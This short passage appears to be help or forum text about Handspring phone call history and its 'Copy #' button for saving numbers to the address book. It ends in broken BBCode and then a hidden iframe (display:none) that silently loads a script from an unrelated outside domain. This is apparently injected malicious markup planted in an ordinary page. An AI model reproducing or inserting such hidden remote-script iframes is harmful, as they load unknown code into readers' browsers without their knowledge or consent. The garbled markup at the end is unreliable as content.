You will not be asked every time a call comes in from an unrecognized number if you want to store it in your address book—this would get really annoying. However, incoming calls will be saved to your call history list, and you can use the "Copy #" button in call history to easily copy the number into your address book or speed dial list.

[url=http://www.handspring.com][i][url]<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>